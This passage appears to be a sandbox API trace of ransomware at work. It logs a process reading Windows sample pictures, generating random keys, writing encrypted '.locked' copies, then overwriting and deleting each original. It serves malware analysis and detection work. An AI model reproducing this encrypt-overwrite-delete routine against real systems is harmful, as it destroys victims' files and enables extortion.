	[0084.171] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.171] SetEvent (hEvent=0x78) returned 1
	[0084.172] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.172] SetEvent (hEvent=0x78) returned 1
	[0084.172] SetEvent (hEvent=0x8c) returned 1
	[0084.172] SetEvent (hEvent=0x80) returned 1
	[0084.172] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.173] SetEvent (hEvent=0x80) returned 1
	[0084.189] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.189] SetEvent (hEvent=0xa8) returned 1
	[0084.189] SetEvent (hEvent=0x80) returned 1
	[0084.191] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.191] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.191] SetEvent (hEvent=0x80) returned 1
	[0084.191] SetEvent (hEvent=0x8c) returned 1
	[0084.191] SetEvent (hEvent=0x78) returned 1
	[0084.191] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.192] SetEvent (hEvent=0x78) returned 1
	[0084.192] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.192] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0084.193] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0084.387] CloseHandle (hObject=0xc0) returned 1
	[0084.387] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg")) returned 1
	[0084.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616)) returned 1
	[0084.391] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.391] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.392] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0084.392] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.392] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0080 | out: pbBuffer=0x125d0080) returned 1
	[0084.392] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0084.392] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0084.392] WriteFile (in: hFile=0xc4, lpBuffer=0x123cf000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123cf000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0084.395] SetEvent (hEvent=0x8c) returned 1
	[0084.395] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0xbd616, lpOverlapped=0x0) returned 1
	[0084.412] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0xbd616, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0xbd616, lpOverlapped=0x0) returned 1
	[0084.432] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.433] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0084.433] CloseHandle (hObject=0xc4) returned 1
	[0084.434] CloseHandle (hObject=0xc0) returned 1
	[0084.434] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3b, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee83c*=0x3b) returned 1
	[0084.438] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg")) returned 1
	[0084.448] SetEvent (hEvent=0x8c) returned 1
	[0084.449] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.450] SetEvent (hEvent=0x8c) returned 1
	[0084.450] SetEvent (hEvent=0x6c) returned 1
	[0084.450] SetEvent (hEvent=0x80) returned 1
	[0084.450] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.450] SetEvent (hEvent=0x80) returned 1
	[0084.466] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.466] SetEvent (hEvent=0xa8) returned 1
	[0084.466] SetEvent (hEvent=0x80) returned 1
	[0084.468] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.468] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.469] SetEvent (hEvent=0x80) returned 1
	[0084.469] SetEvent (hEvent=0x6c) returned 1
	[0084.469] SetEvent (hEvent=0x8c) returned 1
	[0084.469] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.469] SetEvent (hEvent=0x8c) returned 1
	[0084.469] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.470] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0084.470] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0084.491] CloseHandle (hObject=0xc0) returned 1
	[0084.491] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg")) returned 1
	[0084.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f)) returned 1
	[0084.494] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.494] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.496] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0084.496] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.496] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0080 | out: pbBuffer=0x125d0080) returned 1
	[0084.496] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0084.496] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0084.496] WriteFile (in: hFile=0xc4, lpBuffer=0x12503000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12503000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0084.500] SetEvent (hEvent=0x6c) returned 1
	[0084.500] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0xbea1f, lpOverlapped=0x0) returned 1
	[0084.516] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0xbea1f, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0xbea1f, lpOverlapped=0x0) returned 1
	[0084.530] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0084.530] CloseHandle (hObject=0xc4) returned 1
	[0084.530] CloseHandle (hObject=0xc0) returned 1
	[0084.531] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x102
	[0084.531] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.531] SetEvent (hEvent=0x6c) returned 1
	[0084.531] SetEvent (hEvent=0x8c) returned 1
	[0084.531] SetEvent (hEvent=0x80) returned 1
	[0084.532] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.532] SetEvent (hEvent=0xa8) returned 1
	[0084.532] SetEvent (hEvent=0x80) returned 1
	[0084.532] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x37, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee83c*=0x37) returned 1
	[0084.533] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg")) returned 1
	[0084.556] SetEvent (hEvent=0x8c) returned 1
	[0084.561] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.561] SetEvent (hEvent=0x8c) returned 1
	[0084.561] SetEvent (hEvent=0x80) returned 1
	[0084.561] SetEvent (hEvent=0x6c) returned 1
	[0084.561] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.561] SetEvent (hEvent=0xa8) returned 1
	[0084.561] SetEvent (hEvent=0x6c) returned 1
	[0084.563] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.563] SetEvent (hEvent=0x6c) returned 1
	[0084.564] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.564] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.564] SetEvent (hEvent=0x6c) returned 1
	[0084.564] SetEvent (hEvent=0x80) returned 1
	[0084.564] SetEvent (hEvent=0x8c) returned 1
	[0084.564] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.565] SetEvent (hEvent=0x8c) returned 1
	[0084.565] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.565] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0084.565] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0084.583] CloseHandle (hObject=0xc0) returned 1
	[0084.583] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg")) returned 1
	[0084.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c)) returned 1
	[0084.587] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.587] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.587] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0084.587] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.588] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0080 | out: pbBuffer=0x125d0080) returned 1
	[0084.588] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0084.588] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0084.588] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0084.590] SetEvent (hEvent=0x80) returned 1
	[0084.590] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x8907c, lpOverlapped=0x0) returned 1
	[0084.603] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x8907c, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x8907c, lpOverlapped=0x0) returned 1
	[0084.614] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0084.614] CloseHandle (hObject=0xc4) returned 1
	[0084.614] CloseHandle (hObject=0xc0) returned 1
	[0084.614] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3c) returned 1
	[0084.663] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.664] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg")) returned 1
	[0084.668] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.668] SetEvent (hEvent=0xa8) returned 1
	[0084.668] SetEvent (hEvent=0x80) returned 1
	[0084.669] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.669] SetEvent (hEvent=0x80) returned 1
	[0084.670] SetEvent (hEvent=0x78) returned 1
	[0084.670] SetEvent (hEvent=0x6c) returned 1
	[0084.670] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.670] SetEvent (hEvent=0x6c) returned 1
	[0084.686] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.687] SetEvent (hEvent=0xa8) returned 1
	[0084.687] SetEvent (hEvent=0x6c) returned 1
	[0084.688] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x102
	[0084.689] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.689] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.689] SetEvent (hEvent=0x6c) returned 1
	[0084.689] SetEvent (hEvent=0x78) returned 1
	[0084.689] SetEvent (hEvent=0x80) returned 1
	[0084.689] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.689] SetEvent (hEvent=0x80) returned 1
	[0084.690] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.690] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0084.690] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0084.712] CloseHandle (hObject=0xc0) returned 1
	[0084.712] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg")) returned 1
	[0084.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b)) returned 1
	[0084.715] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.715] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.716] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0084.716] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.716] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0080 | out: pbBuffer=0x125d0080) returned 1
	[0084.716] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x123d41a0 | out: pbBuffer=0x123d41a0) returned 1
	[0084.716] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416101 | out: pbBuffer=0x12416101) returned 1
	[0084.716] WriteFile (in: hFile=0xc4, lpBuffer=0x12409000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12409000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0084.719] SetEvent (hEvent=0x78) returned 1
	[0084.719] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0xbde6b, lpOverlapped=0x0) returned 1
	[0084.736] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0xbde6b, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0xbde6b, lpOverlapped=0x0) returned 1
	[0084.751] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0084.751] CloseHandle (hObject=0xc4) returned 1
	[0084.751] CloseHandle (hObject=0xc0) returned 1
	[0084.752] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.752] SetEvent (hEvent=0x78) returned 1
	[0084.752] SetEvent (hEvent=0x80) returned 1
	[0084.752] SetEvent (hEvent=0x6c) returned 1
	[0084.752] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.753] SetEvent (hEvent=0xa8) returned 1
	[0084.753] SetEvent (hEvent=0x6c) returned 1
	[0084.753] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3a, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3a) returned 1
	[0084.754] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg")) returned 1
	[0084.777] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.778] SetEvent (hEvent=0xa8) returned 1
	[0084.778] SetEvent (hEvent=0x80) returned 1
	[0084.783] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.783] SetEvent (hEvent=0x80) returned 1
	[0084.783] SetEvent (hEvent=0x6c) returned 1
	[0084.783] SetEvent (hEvent=0x78) returned 1
	[0084.783] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.783] SetEvent (hEvent=0x78) returned 1
	[0084.785] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.785] SetEvent (hEvent=0x78) returned 1
	[0084.785] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.786] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.786] SetEvent (hEvent=0x78) returned 1
	[0084.786] SetEvent (hEvent=0x6c) returned 1
	[0084.786] SetEvent (hEvent=0x80) returned 1
	[0084.786] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.786] SetEvent (hEvent=0x80) returned 1
	[0084.786] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.787] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0084.787] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0084.804] CloseHandle (hObject=0xc0) returned 1
	[0084.804] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg")) returned 1
	[0084.807] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958)) returned 1
